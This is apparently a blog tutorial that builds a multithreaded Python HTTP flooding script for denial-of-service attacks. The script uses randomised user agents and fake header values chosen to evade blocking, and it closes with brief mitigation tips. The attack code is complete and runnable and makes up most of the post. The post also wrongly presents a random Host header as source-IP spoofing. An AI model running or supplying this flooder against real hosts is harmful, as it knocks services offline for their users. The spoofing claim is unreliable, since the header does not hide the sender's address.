In today's interconnected world, cybersecurity threats are becoming increasingly sophisticated and frequent. Among these threats, Distributed Denial of Service (DDoS) attacks stand out as particularly disruptive for their ease of implementation and destructive consequences. A DDoS attack aims to overwhelm a targeted system, such as a website or network, with a flood of internet traffic from a range of attacker IP addresses, rendering it unavailable to its intended users.

This blog post aims to demystify DDoS attacks, explaining what they are and how they work through the implementation of a basic DDoS script in Python. This will help illustrate how such attacks are executed from a technical standpoint, fostering a deeper understanding of the underlying mechanisms.

a close up of a computer screen with a map of the world on it
Photo by Nicolas Arnold / Unsplash
Disclaimer: The information provided here is for educational purposes only. It is not intended to encourage or support any form of illegal activity. The creation and use of DDoS scripts is illegal and can cause significant harm. Always use this knowledge responsibly and ethically, only test this in hosts of your own.

Step 1: Obfuscation

Usually, DDoS attacks are done with hundreds or even thousands of infected machines flooding a single server with requests. In our demo, all requests will come from the same machine, but we will use threading to allow multiple concurrent connections and randomly assign a fake IP address and User Agent to every request to simulate multiple machines and make it harder for the attack to be blocked.

Let's start by importing the needed libraries, define our target host, port and number of threads.

import threading
import socket
import random

# target ip and port
target = 'localhost'
port = 8000

# number of threads
threads = 500

main.py

Now we can create a function that generates the contents of a valid HTTP request with a fake IP address and User-Agent.

def get_request_contents():
    # list of fake (but valid) user agents
    user_agents = [
        'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36',
        'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36,gzip(gfe)',
        'Mozilla/5.0 (Linux; Android 13; SM-S901U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36',
        'Mozilla/5.0 (Linux; Android 13; SM-G991U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36',
        'Mozilla/5.0 (Linux; Android 13; SM-A515F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36',
        'Mozilla/5.0 (Linux; Android 13; Pixel 6a) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36',
        'Mozilla/5.0 (Linux; Android 12; moto g pure) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36',
        'Mozilla/5.0 (Linux; Android 12; M2102J20SG) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36',
        'Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1',
        'Mozilla/5.0 (Linux; Android 11; Lenovo YT-J706X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36',
        'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246',
        'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 Safari/601.3.9',
        'Mozilla/5.0 (X11; CrOS x86_64 8172.45.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.64 Safari/537.36',
        'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:15.0) Gecko/20100101 Firefox/15.0.1',
        'AppleTV11,1/11.1'
    ]

    # generate a fake (but valid) ip address
    spoofed_ip = '.'.join([str(x) for x in [random.randint(100, 200), random.randint(10, 60), random.randint(10, 20), random.randint(1, 255)]])
    
    # create a request with fake ip and user agent
    data_to_send = f'GET /{target} HTTP/1.1\r\nHost: {spoofed_ip}\r\n'
    data_to_send += f'User-Agent: {user_agents[random.randint(0, len(user_agents) - 1)]}\r\n\r\n'
    return data_to_send

main.py

Step 2: Execution

Now that we have our utility function, we can create another function that keeps flooding the target with our generated requests. Each request will look different to the server, making it very hard to detect and block the attacks.

def send_request():
    while True:
        try:
            # create a socket and connect to target host
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((target, port))

            s.send(get_request_contents().encode('utf-8'))

            # close the socket
            s.close()
        except:
            print('Error sending request')
            pass

main.py

Step 3: Threading

While our current code is already harmful to the target server, it probably won't cause a denial of service if the host machine is powerful enough. That's where threading comes into play, we can run our eternal loop of requests concurrently in the number of threads we defined in the first step. Creating threads in python is extremely simple and can be done like this:

# create threads
for i in range(threads):
    thread = threading.Thread(target=send_request)
    thread.start()

main.py

And that's it. Running python main.py will start the execution of our DDoS attack.

Mitigation and Protection Strategies

While DDoS attacks can be challenging to prevent completely, there are several strategies and best practices to mitigate their impact and protect against them:

Implement Rate Limiting:
Rate limiting can help control the number of requests a server accepts over a given period, preventing excessive traffic from overwhelming the system.

Use Anti-DDoS Services:
Specialized anti-DDoS services and solutions can detect and mitigate attacks in real-time. These services often use sophisticated algorithms to filter malicious traffic and ensure legitimate users can access the service.

Deploy Redundancy and Load Balancing:
Distributing traffic across multiple servers and data centers can help absorb and manage large volumes of traffic. Load balancers can distribute incoming traffic evenly, preventing any single server from becoming a bottleneck.

Regular Monitoring and Traffic Analysis:
Continuous monitoring and analysis of network traffic can help detect unusual patterns indicative of a DDoS attack. Early detection enables quicker response and mitigation.

Maintain a Response Plan:
Having a well-defined response plan for DDoS attacks is crucial. This plan should include steps for identifying, mitigating, and recovering from attacks, ensuring minimal disruption and efficient restoration of services.

Collaborate with ISPs:
Internet Service Providers (ISPs) can often provide support and mitigation services during a DDoS attack. Establishing a good relationship with your ISP can be beneficial in quickly addressing and managing attacks.

Thanks for reading!

I hope this post helped you understand a little more about this type of security threat. I'm planning on writing about many other cybersecurity topics and threat mitigation strategies. If you enjoy my content, consider subscribing for free to receive notifications or become a paid member to support my work!

Creating a DDoS script in Python with some Obfuscation